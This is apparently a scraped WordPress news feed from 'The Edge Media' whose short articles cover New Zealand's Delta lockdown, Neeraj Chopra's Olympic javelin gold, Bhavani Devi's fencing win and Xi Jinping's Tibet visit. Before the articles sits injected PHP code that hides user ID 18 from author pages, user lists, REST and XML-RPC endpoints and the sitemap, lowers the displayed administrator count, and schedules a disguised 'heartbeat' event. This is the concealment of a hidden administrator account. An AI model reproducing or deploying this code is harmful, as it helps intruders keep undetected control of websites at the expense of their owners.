add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post New zealand declares snap 3-day lockdown after 1st covid case in 6 months. appeared first on The Edge Media.
]]>Ardern said New Zealand, which had not recorded any infections in the community for six months, could not take any chances with the “game changer” Delta strain.
“We have seen what can happen elsewhere if we fail to get on top of it. We only get one chance,” Ardern said in a televised national address.
The New Zealand leader cited Australia’s struggles to contain the highly transmissible Delta variant for her “short, sharp” reaction to the case, which was found in a 58-year-old Auckland man.
The post New zealand declares snap 3-day lockdown after 1st covid case in 6 months. appeared first on The Edge Media.
]]>The post Army Officer Neeraj Chopra is the first to win gold for India at Tokyo Olympics. appeared first on The Edge Media.
]]>He won the first Gold medal for India at the Tokyo Olympics. He impressed in the majority of the rounds.
On Saturday, Indian Javelin thrower Neeraj Chopra created history by becoming the first from the country to win a gold in track and field in the Olympics. He threw a distance of 87.58m to pick up the gold at the ongoing Tokyo Olympics.
Neerahis quest for a medal with a massive throw of 87.03 meters and was leading the pack after the end of first attempt.
Haryana government has announced Rs. 6 crore as reward for winning the gold medal in men’s javelin throw.
The post Army Officer Neeraj Chopra is the first to win gold for India at Tokyo Olympics. appeared first on The Edge Media.
]]>The post Bhavani Devi wins India’s first-ever fencing match in the history of Olympics. appeared first on The Edge Media.
]]>The 27-year-old made her game debut showcasing nerves of steel as she was in complete control of her Women’s Sabre Individual Table of 64 bout, beating Tunisia’s Nadia Azizi 15-3 .
Despite a delay in the start to their bout, Bhavani Devi kept her composure and raced to an 8-0 lead.
Bhavani Devi not only attacked with precision but also collected points when she was on the backfoot with some smart touches. The 27-year-old from Chennai , who made history by becoming the first fencer from India to make it to the Olympic games, trained extensively in italy.
The post Bhavani Devi wins India’s first-ever fencing match in the history of Olympics. appeared first on The Edge Media.
]]>The post China’s Xi Jinping makes first official visit to Tibet as President. appeared first on The Edge Media.
]]>It was the first such visit by the country’s top leader in more than three decades.
On Friday , in footage released by state broadcaster CCTV, Xi was seen greeting a crowd wearing ethnic costumes and waving chinese flags as he left his plane, in a red carpet welcome as dancers performed around him.
After a “warm welcome by cadres and masses of all ethnic group,” Xi went to the Nyang River Bridge to learn about ecological and environmental protection of the Yarlung Tsangpo River and the Nyang River .
The post China’s Xi Jinping makes first official visit to Tibet as President. appeared first on The Edge Media.
]]>